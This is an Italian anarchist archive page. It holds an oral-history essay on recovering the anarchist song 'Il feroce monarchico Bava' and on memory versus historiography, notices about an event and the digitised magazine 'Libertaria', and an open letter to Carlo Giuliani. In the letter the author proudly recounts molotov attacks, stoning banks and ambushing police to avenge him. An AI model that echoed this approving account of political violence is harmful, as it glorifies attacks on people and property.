Pure parte del repertorio anarchico è ridiventato Il feroce monarchico Bava, così chiamato sui “dischi del sole” e all’inizio erroneamente considerato come parte del repertorio socialista da Gianni Bosio. Anche qui il canto fu ritrovato sul campo nel 1963 e soltanto in seguito, grazie a ricerche d’archivio proprio stimolate da quella scoperta, si potè giungere ad attribuirla al repertorio anarchico.
Ripercorro l’iter di quella ricerca, che conosco bene dal momento che capitò solo a me di ritrovare brandelli di quel canto e una versione priva del ritornello (di cui è rimasta ignota la melodia). Il primo a cantarmene una strofa, peraltro su una melodia indecifrabile per un difetto di emissione vocale, fu un pensionato del 1901 nel Circolo operaio Archimede di Novara, che la razionalizzò a questo modo: “Si riferisce a quando Umberto I ha fatto sparare a Milano sulla folla. Allora Bresci Gaetano ha detto: ‘Ride pur te sabaude marmaglia / se i fratelli hanno ucciso i fratelli / se i fucili han domato i ribelli / ma quel sangue sul tuo capo cadrà’. E nel Novecento il re l’hanno ucciso”. Qualche giorno dopo registrai un vecchio militante, nato nel 1891 e in gioventù anarchico, al Circolo Riscatto proletario di Novara. Non ricordava le parole ma diceva che si cantava su una melodia, che mi canticchiò, rientrante nel novero dei modi musicali di cui si servivano abitualmente i cantastorie padani e presentante delle somiglianze con quello di O Gorizia tu sei maledetta. Sempre in quella primavera mi capitò poi di registrare al Circolo Fatti di Lumellogno l’unica versione del canto che sia stata mai reperita prima del suo tornare in circolazione. La sapeva un contadino comunista, nato nel 1900. Sembrava (ed era, come potei constatare quando il canto, con il titolo di Inno del sangue, fu ritrovato su un canzoniere anarchico di inizio secolo) abbastanza integra, su una melodia da cantastorie diversa dalla precedente e anche da quella su cui oggi si esegue la canzone. Il contadino che la ricordava mi disse d’averla imparata durante il Biennio Rosso e d’averla da allora sempre cantata. Durante l’estate trovai poi a Granozzo un altro contadino del 1901, che da giovane era emigrato in Argentina. Mi disse di avere imparato là la canzone e ne cantò una strofa (anche qui quella più su riportata, l’unica che gli era rimasta nel ricordo per la profezia del regicidio), sempre su un modo musicale proprio ai cantastorie padani. Disse che il testo era riportato su un canzoniere argentino bilingue (spagnolo e italiano) che non aveva più. Quest’ultima melodia mi piacque più delle altre e cominciai ad adattare a essa le parole della canzone che ero riuscito a recuperare. Ma nell’adattare questo motivo musicale alla mia voce apportai senza avvedermene delle consistenti modificazioni. Sandra Mantovani apprese poi quella versione della canzone da me e la cantò in un “disco del sole”. E in quella forma la canzone riprese a circolare e a vivere diffondendosi tra i contestatori pre-sessantotteschi. Poi su quella melodia quattro giovani anarchici mantovani adattarono le parole della Ballata del Pinelli. Quanto al testo riferito ai fatti del maggio 1898 si ebbe la prova del suo appartenere al repertorio anarchico perché si trovò quel canzoniere argentino bilingue al quale aveva accennato già il contadino di Granozzo: edito a Buenos Ayres da “La questione sociale”, benché mancante della pagina con la data, risaliva certamente ai primi anni del secolo. Poi Pier Carlo Masini trovò una versione manoscritta del canto nella cartella di polizia di Luigi Fabbri, sequestratagli al domicilio coatto di Favignana, permettendo quindi di collocare con certezza l’origine del canto tra il 10 maggio 1898, giorno dell’arresto di Fabbri e il 17 ottobre 1900, giorno della sua liberazione. Come vedete, la razionalizzazione di un canto è spesso cosa tutt’altro che facile. Né ci si può fidare ciecamente di quanto comunicano in proposito anche straordinari conoscitori di canti anarchici. Posso testimoniare che Armando Borghi e Alfonso Failla hanno spesso sbagliato nell’attribuzione di canti a uno o all’altro autore.
Ho fatto questi esempi per ricordare che se oggi c’è un repertorio di canti anarchici, socialisti, repubblicani è perché ci sono state delle iniziative organizzate per fare conoscere queste canzoni e farle ricantare. Le canzoni restano memoria di un movimento se sono cantate e fatte conoscere. Altrimenti spariscono. Ma naturalmente questo fatto di rimetterle in circolazione pone poi complessi problemi filologici a chi volesse ripristinarne il testo e la melodia originaria.
Registrare un racconto su un episodio e pubblicarlo così com’è stato fatto può suscitare reazioni in altri protagonisti di quell’episodio. Recentemente, nella prefazione al mio libro Il nemico interno (Odradek, Roma, 1997), ho pubblicato il racconto di Giorgio Bertani a proposito del rapimento del console spagnolo a Milano nel 1962. La vicenda aveva avuto un grosso impatto su di me e su altri miei coetanei e ne volevo quindi parlare. Pensai quindi di rivolgermi a Bertani per saperne di più suscitando la reazione di Amedeo Bertolo, che mi diede altra versione dei fatti, sollecitando giustamente un incontro a più voci per stabilire una più attendibile “verità” su come fossero andate le cose. Infatti la narrazione di un solo protagonista di un fatto (che in questo caso sembra essere stato più marginale di quanto non credessi) è per sua natura sempre parziale e può essere utilizzata da un punto di vista storico solo se comparata ad altre fonti.
Poiché era mia intenzione raccontare il più giustamente possibile come erano andate le cose, posso soltanto dire che in quel momento non tenni conto di un’avvertimento basilare quando si tratta di fonti orali, noto già ad Erodoto (Le storie, vii, 152): “Io sono tenuto a riferire quel che si dice, ma a prestar fede a tutto non sono tenuto, e queste parole valgano per tutto ciò che racconto”. E, con intuizione acquisita con grande fatica dalla nostra odierna cultura, riportava anche quello a cui non credeva perché non gliene sfuggiva l’importanza. Sapeva insomma che una leggenda non è la ricostruzione di un fatto, sia pure visto dagli occhi di un uomo e ri-creato dalla sua memoria, che di solito è diversa dalla memoria di un altro uomo.
Ma, ancor meno, in quell’occasione ho tenuto conto di quest’altro consiglio di Tucidide (Le storie, I, 22): “I fatti concreti degli avvenimenti di guerra ritenni di doverli narrare non secondo le informazioni del primo venuto né secondo il mio arbitrio, ma in base alle più precise ricerche possibili su ogni particolare, sia per ciò di cui ero stato testimone diretto sia per quanto mi fosse riferito dagli altri. Faticose ricerche, perché quelli che avevano partecipato ai fatti non dicevano tutti le stesse cose sugli stessi avvenimenti, ma riferivano a seconda del loro ricordo o della loro particolari simpatie”.
E, visto che sono in visita ai padri della Storia, vorrei ricordare che, per loro, studio dei costumi e cultura orale stavano alla base di qualunque possibile storia. Sicché, a proposito dell’uso delle fonti orali in storiografia, non va dimenticato che la radice stessa della parola storia, proviene dal greco orao, cioè vedo, ossia cose vedute; e che quindi la storia orale è nata con la storia stessa e che le contrapposizioni o differenziazioni tra “uomo storico”/”uomo folklorico”, “storia/ antropologia/ etnologia/ sociologia”, “ricerca d’archivio”/ “inchiesta sul campo” (“storia” significava originariamente “inchiesta”) “cultura scritta / cultura orale” sono in larga misura i portati dell’avvento della stampa, della divisione del lavoro e della nascita degli Stati moderni come separati/contrapposti alla società. Sono insomma contrapposizioni o differenziazioni prodotte dalla divisione in classi moderne della società e partizioni a forte valenza ideologica.
Non è quindi casuale, come abbiamo visto, che proprio in questi padri della Storia spesso ci si imbatta in consigli e intuizioni soprattutto utili agli odierni storici orali. Polibio, lo storico delle guerre puniche, spiega in tal modo perché Timeo fa cattiva storia (e di Timeo in giro ne abbiamo tanti): “pur essendo la vista [ma qui “vista” sta per partecipare agli avvenimenti di cui si parla, nda] non poco più attendibile, [È] tuttavia [È] trascurò totalmente quanto si desume dalla vista, e fece ricorso a tutto quel che si apprende con l’udito. E visto che anche questa via di apprendimento presenta due possibili opzioni, indagò attraverso la lettura dei testi di storia, ma si astenne con leggerezza dal compiere inchieste orali. È facile capire per quale ragione Timeo fece questa scelta. Dai libri si possono apprendere informazioni senza pericolo e senza disagio alcuno, purché si fissi la propria sede in una città ricca di documenti o nelle vicinanze di una biblioteca. Poi, standosene comodamente sdraiati, non rimane che considerare le opere altrui e scoprirne gli errori senza nessun sacrificio personale. Le investigazioni dirette invece richiedono molto sacrificio e spesa, ma sono utilissime e costituiscono la parte più importante della ricerca storica” (Storie, XX, 27).
Ma, vorrei notare, come Polibio prosegua tessendo un vero e proprio elogio dello storico militante: “... Verrebbe voglia di chiedere al nostro storico se sia dell’avviso che comporti una spesa e una fatica maggiori raccogliere commentari e investigare sui costumi dei Liguri e dei Celti standosene seduti in città o andarsene in giro per vedere di persona il maggior numero possibile di popoli e di località. E che? È più faticoso conoscere le battaglie, gli assedi delle città e gli scontri navali delle persone che hanno preso parte a quei combattimenti, oppure comporta maggiore fatica fare diretta esperienza dei pericoli e di quanto li accompagna partecipando proprio a quelle azioni? Personalmente, credo che non ci sia tanta differenza fra gli edifici reali e i paesaggi delle scenografie [È] quanta ce ne è, invece, in tutti gli scritti di storia, fra una esposizione legata a una personale esperienza e a una diretta partecipazione agli eventi e quanto è scritto, invece, sulla base del sentito dire e delle esposizioni altrui. Timeo, che era completamente ignaro di tale differenza, ritenne probabilmente che il compito più lieve e più facile in assoluto per quanti compongono opere storiche (mi riferisco alla raccolta di commentari e all’interrogazione di quanti hanno diretta conoscenza dei singoli avvenimenti) fosse invece il compito più gravoso e il più arduo. Ma anche per questa parte del lavoro dello storico è inevitabile che gli inesperti commettano gravi inesattezze. Come possono, infatti, costoro formulare bene le domande su una battaglia, sulle espugnazioni delle città o sugli scontri navali? Come può intendere i dettagli dei resoconti scritti chi è ignaro di quanto è stato sopra detto? In un resoconto storico, infatti, chi fa le domande contano non meno di quanti danno le risposte, perché il solo far ricordare gli eventi concomitanti ai fatti spinge chi racconta a precisare i singoli particolari degli avvenimenti. Ecco per quale motivo l’inesperto non è capace di interrogare i testimoni e non riesce a comprendere l’accaduto neppure se è presente all’evento. Anzi, nonostante sia presente, in un certo senso dà l’impressione di non esserci, pur trovandosi l“.” (Storie, XX, 28a).
Per questo anche la storia dell’anarchia avrà più validità se scritta dal militante che si fa storico (ciò che richiede ovviamente anche strumenti peculiari di lavoro) piuttosto che se scritta da un Timeo odierno, cioè da qualche mero cavaliere dell’inerzia universitario.
Scrive ancora Polibio: “Per quanto mi riguarda, mi sentirei di dire che la ricerca storica andrà bene nel caso che a mettersi a comporre storie siano quanti partecipano alla vita politica. Non dovrebbero però scrivere storie saltuariamente, come succede ora, ma, nel corso della loro vita, dovrebbero riporre ogni ambizione in questa attività, nella convinzione che si tratti, per loro, del compito più necessario e più nobile che ci sia” (Storie, XII, 28).
Si, gli storici dell’antichità non si vergognavano di farsi “storici militanti” e, anzi, consideravano i militanti gli unici storici possibili. E, per quel che concerneva in particolare la ricerca orale, ci ricordavano come fosse necessario conoscere almeno un po’ quanto si vuole studiare e fare oggetto di colloquio, perché chi interroga non contribuisce meno di chi risponde all’esattezza della relazione. In affermazioni di questo genere c’è presente nei classici dell’antichità una consapevolezza dei problemi che l’oralità porta con sé solo faticosamente riacquistata dalla storia orale contemporanea dopo che per decenni e decenni le faticose ricerche su campo erano state eluse dalla stragrande maggioranza degli storici.
Ma, per chiudere, mi viene da domandarmi se Amedeo Bertolo, dopo che io avessi ascoltato tutti i protagonisti della vicenda del rapimento del console spagnolo, sarebbe soddisfatto della mia ricostruzione. Penso che non sarebbe così se fosse solo un militante ma sarebbe così se fosse (come penso) anche lui un militante che si è fatto storico. E spiego quello che voglio dire facendo alcune considerazioni sui rapporti tra memoria individuale o di gruppo da un lato e storiografia dall’altro, che sono cose molto diverse, anche se una buona storiografia deve cercare rapporti con la memoria e forse anche una buona memoria deve avere rapporti con una storiografia. Memorie e storiografie rappresentano punti di vista diversi sul passato. La memoria di un gruppo fa le sue selezioni, ha le sue censure e le sue invenzioni. Per esempio, chi ha fatto la guerra in Jugoslavia durante la Seconda Guerra Mondiale darà spesso una visione idillica di quella guerra. I massacri sono stati cancellati dalla loro memoria. Però c’è l’eccezione che te li racconta. E quando tu poi tieni conto di quello, gli altri si inalberano; perché gli ripresenti un rimosso intollerabile.
Per fare un altro esempio, i deportati ebrei hanno spesso dimenticato interi episodi, rimossi totalmente, di quanto avevano scritto nei diari in campo o nel dopoguerra, tanto di sostenere a volte come fosse impossibile che certe cose scritte nel diario potessero essere realmente accadute, perché non ne avevano più il benché minimo ricordo e sembravano loro “irreali”.
È quindi difficile che memorie e storiografie vadano d’accordo. Naturalmente gli storici, pur spesso entrando in collisione con quelle memorie, proprio per dare a questi gruppi una storia, lavorano a loro fianco. Se memorie e storiografie sono cose distinte, entrambe vogliono però salvare il passato dall’azzeramento del tempo. Ma un conto è occuparsi del passato per rafforzare identità collettive, un conto è occuparsene per assumersi, e invitare ad assumere, la responsabilità nei confronti del passato.
La tendenza odierna a sostituire la memoria alla storia (“Uso pubblico”), esaltato dal bisogno di identità collettiva e dalla distruzione delle identità tradizionali, può diventare assai pericolosa. Quando la memoria non ha più rapporti con la storia il quadro può farsi anche drammatico. La tendenza all’estinzione della memoria come spontaneo prodotto della autoperpetuazione dei gruppi sociali e delle comunità non solo non ha vanificato, ma anzi ha reso in qualche modo oggi più acuto il bisogno di memoria come bisogno di identità. Direi che oggi nella società c’è un eccesso di memorie e ciò che noi chiamiamo memoria si configura sempre di più come un campo di battaglia aperto, in cui élites culturali e politiche lottano per la imposizione di progetti egemonici. Rispetto a ciò il mestiere dello storico è quello del “guastafeste delle memorie”, poiché deve ricordare, come ha sottolineato Pierre La borie, che esiste uno scarto: tra la certezza dell’esperienza vissuta e gli interrogativi critici che derivano da altre fonti sul modo in cui si è svolto il passato; tra le commemorazioni e il metodo storico; tra le amnesie puntuali o gli arrangiamenti del tempo rimodellato e le dure realtà della cronologia minuziosamente ricostruita; tra le ingannatrici facilità dello sguardo retrospettivo e il rifiuto di remare seguendo la corrente per continuare a osservare gli uomini e gli eventi a monte; fra una memoria identità, cemento di solidarietà e di fraternità, e delle memorie a lungo vagliate, ripulite e ritagliate secondo esigenze di verità; fra la seducente coerenza del discorso esplicito e la ricerca del non-detto, dell’oblio, dei silenzi; tra la legittimazione derivante da un passato ricostruito con troppa forza sulla scia di un impegno e dei valori da preservare dalla banalizzazione tramite la ricostruzione storica.
Peraltro gli avvenimenti sono sempre oggetto di una ricostruzione, sia questa ricostruzione venga fatta da qualche memoria, sia venga fatta da qualche storiografia. Ma la memoria è parte della vita odierna, mentre la storia è la ricostruzione sempre problematica e incompleta di ciò che non è più. La memoria colloca il ricordo per lo più in una zona mitica, la storia la sloggia. La memoria è un assoluto e la storia non conosce che il relativo ed è sempre delegittimazione del passato vissuto, quindi sia di memorie individuali sia di memorie di gruppo. Perciò i protagonisti di un evento o di un’epoca spesso non si riconoscono nelle ricostruzioni che di esse vengono fatte dagli storici, a meno che non siano appunto militanti fattisi storici nel senso desiderato da Polibio.
Milano, 13 dicembre 2025, Circolo familiare di unità proletaria, viale Monza 140, ore 18.00
presentazione di
Carte irrequiete. La memoria dei movimenti
ne parliamo con l'autore
Lorenzo Pezzica
e con l'Archivio Primo Moroni
“Gli archivi non sono un semplice problema archivistico, sono un diritto e un dovere della collettività, perché contengono in sé una forte valenza strategica nella progettazione del futuro. È quindi doveroso valutarli nel più ampio quadro delle dinamiche politiche, sociali e culturali in cui essi si collocano e agiscono.”
A partire dalle esperienze e dalle pratiche dell’Archivio Giuseppe Pinelli, dedicato al ferroviere anarchico ucciso la notte del 15 dicembre 1969, Lorenzo Pezzica ci guiderà attraverso un arcipelago di archivi “anomali” protagonisti di una liberazione di ampia portata capace di configurare una memoria veramente collettiva.
Nuove digitalizzazioni:in questi mesi abbiamo digitalizzato e reso disponibili sul nostro sito tutti i numeri della rivista "Libertaria. Il piacere dell'utopia", esclusi quelli ancora in vendita sul sito Mimesis. Il lavoro non sarebbe stato possibile senza il prezioso aiuto di Gaetano Ricciardo e della biblioteca Borghi che ha condiviso con noi i numeri che avevano già scansito.
"Libertaria. Il piacere dell'utopia" nasce a Milano nel 1999. Numerosi negli anni della sua pubblicazione sono stati i redattori e i collaboratori, mentre Luciano Lanza ne è stato il responsabile dal primo numero fino all'ultimo uscito nel 2018.
Riportiamo la prima parte dell'editoriale del primo numero in cui si spiega il senso del progetto:
"Una nuova rivista è sempre una scommessa. Libertaria non si sottrae a questa regola. Ovviamente. Ma è altrettanto ovvio che i promotori e i collaboratori di Libertaria sono convinti di vincere la scommessa. Oggi il pensiero libertario, il pensiero anarchico, si presenta (ed è) come uno dei più originali e convincenti in un contesto caratterizzato dalla 'crisi delle ideologie'. E non è un caso che l'anarchismo si sottragga a questa crisi generalizzata: non è mai stato un'ideologia nel senso pieno del termine, ma una teoria e una pratica della libertà, dell'eguaglianza e della diversità. Ed è anche per questo suo aspetto poliedrico e al contempo omogeneo (contraddizione solo apparente), che è riuscito a influenzare quasi tutti i campi del sapere e dell'arte moderni. Incredibile, a prima vista, ma vero. Questa influenza, a volte esplicita altre volte sottaciuta (quasi occultata), necessita di un 'luogo' di rappresentazione, di elaborazione, di ricerca. Questo vuole essere Libertaria."
L’anarchico Ghezzi contro Stalin di Michail Platonov
fonte: «Libertaria», anno 8, numero 4, 2006 traduzione di Roberto Ambrosoli
Ci sono persone nella cui esistenza non sono presenti aspetti superficialmente splendidi o avventure da togliere il fiato, eppure ci colpiscono per la loro integrità, per la capacità di conservare la propria dignità anche in condizioni tremende. Di questo tipo è la vita di Francesco Ghezzi, operaio anarchico di Milano morto nel gulag staliniano nel 1942. Ecco la sua storia raccontata da un giovane anarchico russo.
Una delle ultime descrizioni di Francesco Ghezzi si trova nelle Memorie di un rivoluzionario di Victor Serge. Parlando della propria partenza dall'Unione Sovietica nel 1936, dopo una campagna intemazionale per la sua liberazione, Serge scrive: «Magro e altero, Francesco Ghezzi, operaio di una fabbrica di Mosca e unico ‘sindacalista’ ancora in libertà in Russia, è venuto a salutarci al treno». «Magro e altero», così appare in una foto segnaletica del 1937, allegata alla pratica aperta su di lui dalla GPU, la polizia politica staliniana. Profilo orgoglioso e fiero, lo sguardo intenso di un uomo indomito nonostante sia stato ripetutamente in prigione, anche nell'URSS. Nell'atmosfera segnata dal terrore staliniano, sia fuori sia dentro il carcere, è riuscito a mantenere una sua libertà interiore, sorprendente date le circostanze e l'atteggiamento pubblico predominante. Tale libertà si è espressa in azioni semplici ma oneste e coerenti, come pochi in quei giorni osavano compiere. Semplicemente, ha rifiutato di sottomettersi alle regole del regime.
«Se parliamo seriamente di rivoluzione, dobbiamo guardare alla storia con occhi severi e vederne le conseguenze, non solo se falliamo, ma persino se trionfiamo. Le rivoluzioni significano sangue, morte e sofferenza. Se non siamo disposti ad accettarlo, allora non dovremmo invocarle.»
Le lezioni di Genova, Barricada #8, estate/settembre 2001
Scrissi quelle parole un tempo, Carlo, quando il tuo sangue era ancora fresco sull’asfalto e il tuo nome era ancora su ogni giornale e in ogni televisione. Le pubblicai sulla nostra rivista anarchica, Barricada, e continuo a condividerle. Ma ti prego, non fraintenderle. Mi dispiace che tu non ci sia più e vivo la tua morte come una tragedia. Ancora oggi ti penso più di quanto tu possa immaginare. Spero di non essere il solo, in questo.
Per anni e anni, finché ho potuto, mi sono assicurato che ogni 20 luglio la rabbia che portavamo nel cuore per la tua morte venisse diretta contro i nostri nemici. In città a caso, in qualunque paese mi trovassi, ci assicuravamo che le bottiglie molotov illuminassero la notte, che piovessero pietre nell’oscurità contro le banche, che venissero tese imboscate alle pattuglie degli sbirri, che il tuo nome venisse inciso sui muri di Boston, Gottinga, Parigi, Berlino. A volte, per celebrare la tua vita e non la tua morte (oltre che per depistare gli sbirri), sceglievamo di vendicarti nel giorno del tuo compleanno, il 14 marzo, anziché nel giorno della tua scomparsa.
Oggi, decenni dopo quel 20 luglio 2001, mi capiti spesso in mente nei modi più inaspettati. Vedo una persona sui quarant’anni. Vestita decorosamente, in ordine, magari con un completo da ufficio o una divisa da lavoro. Un essere umano abbastanza adulto da sembrare segnato dagli inevitabili stress della vita, dell’amore e del lavoro, ma ancora abbastanza giovane perché la sua giovinezza traspaia da dietro l’ombra della barba di fine giornata e un principio di pancia da birra. Perché quando vedo questa persona qualunque, una persona qualsiasi che ha all’incirca l’età che avresti tu oggi, mi torna in mente il giorno in cui il proiettile di un carabiniere ti ha portato via la vita e il tuo futuro.
Non mi indigna tanto la tua morte, quanto tutta la vita di cui sei stato derubato. [leggi tutto…]
Avevamo un’affinità nella lotta, ed è stata solo la sorte a metterti in quello specifico scontro, in quella determinata piazza; quella in cui io e i miei amici per caso non eravamo. L’unica volta, in quella particolare giornata, in cui le forze dell’ordine non hanno puntato le armi contro il cielo, ma contro la testa di un essere umano. La tua testa.
Da quello che mi dicono, se fossimo vissuti nella stessa città, ci sono buone probabilità che non saremmo andati molto d’accordo. Mi dicono che eri uno dei punkabbestia di Genova, il che (da quello che ho capito) sono simili ai chaos punk, i punk di strada che avevamo dalle mie parti. Non particolarmente organizzato, a volte presente a qualche assemblea politica ma decisamente non un attivista, un militante o un quadro di qualche tipo. Le Tute Bianche, le cui affermazioni ancora oggi ho ovvie riserve a prendere per buone, ti definirono «non particolarmente politico». Dissero che eri solito passare il tempo in Piazza delle Erbe, a «chiedere l’elemosina e cazzeggiare con amici e cani randagi». Cosa contro cui non ho assolutamente nulla, ma sappiamo tutti che i punk di strada e i giovani anarchici ortodossi e ossessivi spesso non andavano molto d’accordo.
Niente di tutto questo importa, però. Ciò che importa è che ti hanno congelato nel tempo. Sarai per sempre un giovane punk di strada, se è davvero quello che eri, privato dell’opportunità di fare qualsiasi cosa ti desse gioia e ti facesse sentire completo come persona negli anni e nei decenni che ti sarebbero dovuti rimanere. Forse la tua ribellione iniziale alla fine si sarebbe affievolita, avresti finito gli studi universitari, preso una laurea, saresti andato avanti, guardando con disprezzo ai tuoi giorni sulla strada come ribelle ed emarginato. O forse li avresti guardati con malinconica nostalgia, come un capitolo sano che hai attraversato nella tua esistenza prima di assimilarti, trovare un buon lavoro sindacalizzato grazie ai contatti di tuo padre, metter su famiglia e lanciare una moneta alla generazione successiva di punkabbestia incrociandoli per le strade che un tempo erano le tue. O, chissà, magari saresti diventato un vecchio punk con i capelli grigi ma ancora libero, con il cane al fianco, a fare la colletta per Genova fino a questo preciso giorno.
Ma ti hanno rubato il futuro, quindi non sarai mai nessuna di queste cose. Non ci tradirai, non andrai avanti, non camminerai tra noi. E, anche se le mie avventure non mi avessero esiliato dall’Europa e potessi ritrovarmi ancora una volta a Genova, non rievocheremmo mai insieme quella caldissima e assolata giornata estiva in cui saresti potuto andare al mare e invece, sdegnato per l’invasione poliziesca della tua città, ti sei unito a noi nello scontro.
Non avrai mai la possibilità di voltare pagina, di pentirti delle tue scelte, di rinnegare gli eccessi della tua giovinezza o di passare tutta la vita a rimanere loro fedele. Sarai per sempre, come ti ricordava il tuo migliore amico Daniele solo pochi giorni dopo il tuo assassinio:
«uno che aveva quel male dentro, quello che c’è qui nell’aria, che abbiamo tutti. Non si integrava nella società, nel sistema. Soffriva molto, e siccome era più sensibile di noi, più generoso e più buono, era anche più fragile».
Per sempre un ventitreenne, poco più di un ragazzo, che ci guarda da una foto sbiadita dal tempo, o che mi ricorda il prezzo brutale della ribellione mentre l’immagine di te sdraiato in una pozza di sangue mi balena costantemente in testa.
Così come sono indignato per il fatto che ti sia stato rubato qualsiasi futuro ti restasse da scegliere, allo stesso modo guardo con allarme il tuo ricordo svanire nel tempo dalla coscienza collettiva di chi è venuto dopo di te. Non so nemmeno perché ti stia scrivendo questa lettera. Non credo nell’aldilà, e dubito che ci credessi tu. Forse è solo il mio modo disperato di aggrapparmi a un senso di controllo su ciò che sembra inevitabile: che il tempo, alla fine, ci divora tutti. Che, per quanto le circostanze possano essere diverse, sia la morte che il passare degli anni un giorno verranno a prendere me, proprio come sono venuti a prendere te. Eppure, e qui presumo che siamo simili nello spirito, solo perché è inevitabile non significa che questo mi impedirà di cercare di evitarlo.
Tuttavia sono trascorsi molti anni, Carlo, e anch’io ho dovuto deporre le armi. Quindi, dato che non posso più fare la mia parte per mantenere viva la tua memoria attraverso l’azione, eccoci qui: un anarchico senza Dio che scrive una lettera a un punkabbestia morto. Con la speranza che altri la leggano e chiedano di te, delle condizioni, dei sogni e delle avventure che portarono alla marea montante del nostro movimento, e dell’onda che quel giorno si è portata via la tua vita. È l’unica arma utile che riesco a trovare oggi nel mio arsenale per combattere l’idea che tu venga dimenticato, ridotto a una semplice nota a piè di pagina nello scontro lontano di una stagione ormai rimossa. Il tuo volto, le tue speranze, i tuoi sogni e infine il tuo nome destinati a svanire nei libri di storia.
Combattiamo la battaglia per la tua memoria dal giorno in cui sei stato ucciso. Abbiamo fatto del nostro meglio per esserle fedeli. Per non attribuirti ruoli o aspirazioni che avresti potuto rifiutare. Ma non è stato facile, e ti chiedo scusa se non ti abbiamo rappresentato come avresti voluto. Su Barricada, senza esitazione e con audacia, ti abbiamo bollato come anarchico, senza mai sapere se ti identificassi in quella parola. A nostra difesa, non puoi immaginare cosa siano state quelle ore, quei giorni, quelle settimane e quei mesi dopo la tua morte.
C’era chi tra noi, con buone intenzioni ma fuorviato, ti ha fantasticato come un militante anarchico organizzato. Un combattente in prima linea del black bloc. Volevano trasformarti in un martire consapevole che ha sacrificato volentieri la propria vita per la causa. Ma so che non hai scelto questo, anche perché eri a un passo dal non presentarti nemmeno, quel giorno. E, cosa più importante, perché nessuno di noi lo sceglie. A differenza dei fascisti, noi celebriamo la vita, non la morte.
«Carlo vive – i morti siete voi.»
Poi ci sono stati i pacifisti e i riformisti. Di questi tempi cerco di stare lontano dal linguaggio iperbolico e settario dell’anarchismo della mia giovinezza, ma quando mi ricordo di loro, delle loro azioni e delle loro parole quando parlavano di te, quel vocabolario torna con violenza. Se tu avessi potuto vedere le lacrime di coccodrillo della feccia di quel movimento! Invocavano il tuo nome, fingevano di tenere in alto la tua memoria, ma ti celebravano e ti ricordavano solo perché eri morto. Nello stesso tempo, hanno infamato coloro che avevano agito con te, come te; che erano tuoi compagni quel giorno ma che il destino non ha messo sulla traiettoria del proiettile di un carabiniere in Piazza Alimonda. Hanno detto che eravamo noi i responsabili della violenza, che avevamo attirato la rabbia dello Stato sui “manifestanti buoni”. Che indirettamente eravamo noi i responsabili della tua scomparsa, non lo Stato, non il carabiniere che ha sparato. Hanno diffuso assurde teorie del complotto secondo cui il black bloc e la resistenza di massa, generalizzata e dignitosa, fossero opera di poliziotti infiltrati e fascisti.
Alla deriva nella realtà parallela creata dalla loro narrazione, hanno cercato di attaccarci, hanno cercato di espellerci dal movimento, spingendoci verso gli sbirri, dandoci dei fascisti e dei teppisti. E il giorno dopo, mentre ci muovevamo per vendicare la tua morte, hanno indirizzato i loro cori di «Assassini!» contro di noi tanto quanto contro la polizia. Anche loro hanno fatto di tutto per rivendicarti come martire del loro movimento, ma nel loro caso con l’incredibile cinismo e l’ipocrisia di rivendicare il tuo ricordo mentre denunciavano tutti gli altri che avevano agito come te. Per loro, eri meglio da morto che da vivo. Un teppista da vivo, un martire da morto.
Quelli di ATTAC, il Genoa Social Forum, le Tute Bianche, i partiti, i riformisti e tutta la zuppa di aspiranti gestori del malcontento: tutti hanno cercato di fare di te una vittima. Un giovane sfortunato e fuorviato, assassinato dallo Stato. Volevano privarti della tua capacità di azione, come fanno spesso con coloro le cui scelte non riescono a capire o non rispettano. Non sono ancora sicuro di quanto ci fosse di cinico opportunismo e quanto del fatto che non riescano proprio a concepire alcuna forma di lotta al di fuori delle manovre politiche e degli scontri mediati. Così, ogni volta che mettevamo in fuga i sbirri, ogni volta che si aprivano abbastanza fronti da tenerli a bada, così che alcuni di noi avessero la possibilità di decostruire con calma il paesaggio del capitalismo e prendersi pause tanto necessarie quanto meritate tra un combattimento e l’altro, svaccati sugli arredi urbani delle banche che avevamo piazzato in strada con la spensieratezza di un falò nel cortile di casa, loro fantasticavano su qualche grande piano supremo della polizia per giustificare la repressione contro l’intero movimento no-global. Noi che eravamo sopravvissuti eravamo fascisti, teppisti e provocatori, mentre tu, per il solo fatto di essere morto, diventavi una vittima e un martire. Semplicemente non potevano accettare che la ribellione a Genova non fosse solo organica e autentica, ma anche vincente.
Sei morto precisamente perché, in quel giorno e in quel momento, stavamo vincendo. Gli sbirri stavano ripiegando. Non so se tu l’abbia mai saputo, ma non succedeva solo lì in Piazza Alimonda: erano in fuga in tutta la zona. So che questo sarà controverso, ma date le circostanze, non sono nemmeno sicuro che sia corretto dire che ti abbiano “assassinato”. Risparmierò a entrambi la voyeuristica ricostruzione dei dettagli dei tuoi ultimi momenti. Ci sono stati anni di infinite discussioni sul fatto che il proiettile ti avesse colpito direttamente o avesse rimbalzato su qualcosa, se stessi lanciando l’estintore o lo stessi solo tenendo in mano. Alla fine si è stabilito che il militare che ti ha sparato ha agito per legittima difesa ed è stato assolto da ogni accusa. Non sono nemmeno sicuro che importi, a dire il vero, a parte il bisogno di molti compagni, persino compagni anarchici, di ricercare il ruolo di vittima della brutalità poliziesca, come se posizionarci nella parte di perenni vittime di fronte al Grande Stato Cattivo ci conferisse una qualche superiorità morale agli occhi della società. È un atteggiamento disfattista e lo odio, e presumo che lo odieresti anche tu. La giustizia che cercavamo non è mai stata quella dello Stato e dei suoi tribunali.
A proposito di paura, ecco cosa disse al giudice il militare che ti ha sparato, Mario Placanica, poco dopo aver preso la tua vita:
«Ho sparato perché avevo paura di morire. Non so cosa sia successo. Ricordo che ci stavano circondando, ci attaccavano, la jeep era un inferno. Mi tremavano le mani e ho sparato senza guardare fuori.»
Non fraintendermi: non sono certo un amico di sbirri o militari, ma non faccio alcuna fatica a credergli. All’epoca aveva vent’anni, poco più di un ragazzino, mandato per le strade di Genova quel giorno dopo che i suoi superiori gli avevano detto di «stare all’erta» perché i manifestanti avrebbero «lanciato sacche di sangue infetto» e ci sarebbero stati «attacchi terroristici». Ha detto: «La sensazione era come se stessimo andando in guerra».
Mi sono trovato in situazioni simili, anche in altri luoghi di Genova in quello stesso giorno. Sono stato al posto tuo, ma in un momento diverso e in un luogo diverso, e ho guardato negli occhi la persona in divisa davanti a me. Se fossi stato io il poliziotto o il soldato, anch’io avrei avuto paura. Forse anch’io avrei premuto il grilletto, specialmente se fossi stato un giovane soldato, credente in Dio e nella patria, di fronte a un’orda avanzante e apparentemente incontrollabile di anarchici incappucciati.
Per quel che vale, l’uomo che ti ha ucciso ora è l’ombra di un essere umano. Congedato dai carabinieri nel 2005 per problemi psichiatrici, oggi si descrive come un «uomo distrutto, solo e consumato» che combatte contro la depressione.
